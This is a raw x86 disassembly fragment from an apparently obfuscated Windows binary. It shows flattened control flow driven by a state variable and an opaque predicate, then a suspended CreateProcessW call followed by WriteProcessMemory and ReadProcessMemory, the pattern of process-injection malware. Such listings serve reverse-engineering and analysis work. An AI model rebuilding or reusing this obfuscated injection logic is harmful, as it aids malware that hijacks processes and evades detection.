mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10c], 0x1dbcd009
jmp 0x10005abe
mov dword [ebp - 0x10c], 0xefd9338d
jmp 0x10005abe
mov dword [ebp - 0x10c], 0xcbe8537c
jmp 0x10005abe
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
sub edx, 0x512fa3b3
sub edx, 1
add edx, 0x512fa3b3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbe347a25
mov ecx, 0x21e66fe9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x10005abe
mov eax, dword [ebp - 0xac]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xf4]
mov byte [eax], cl
mov dword [ebp - 0x10c], 0x8d25ca0
jmp 0x10005abe
mov dword [ebp - 0x10c], 0x9486ce57
jmp 0x10005abe
mov ecx, dword [ebp - 0xf8]
mov edx, dword [ebp - 0xa8]
xor eax, eax
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x10c], 0x6d6e29e8
jmp 0x10005abe
mov dword [ebp - 0x10c], 0x4d81ba0e
jmp 0x10005abe
mov eax, dword [ebp - 0x108]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0xfc]
mov edx, dword [ebp - 0xe8]
mov edx, dword [edx]
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x10c], 0xfadc1c5d
jmp 0x10005abe
mov dword [ebp - 0x10c], 0x9827af9c
jmp 0x10005abe
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x10c], 0x1b3f990c
jmp 0x10005abe
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x10c], 0x6c7f73a8
jmp 0x10005abe
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x3c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xb4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x10c], 0x59310efe
jmp 0x10005abe
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x10c], 0x4a714bf8
jmp 0x10005abe
mov dword [ebp - 0x10c], 0x21e66fe9
jmp 0x10002f80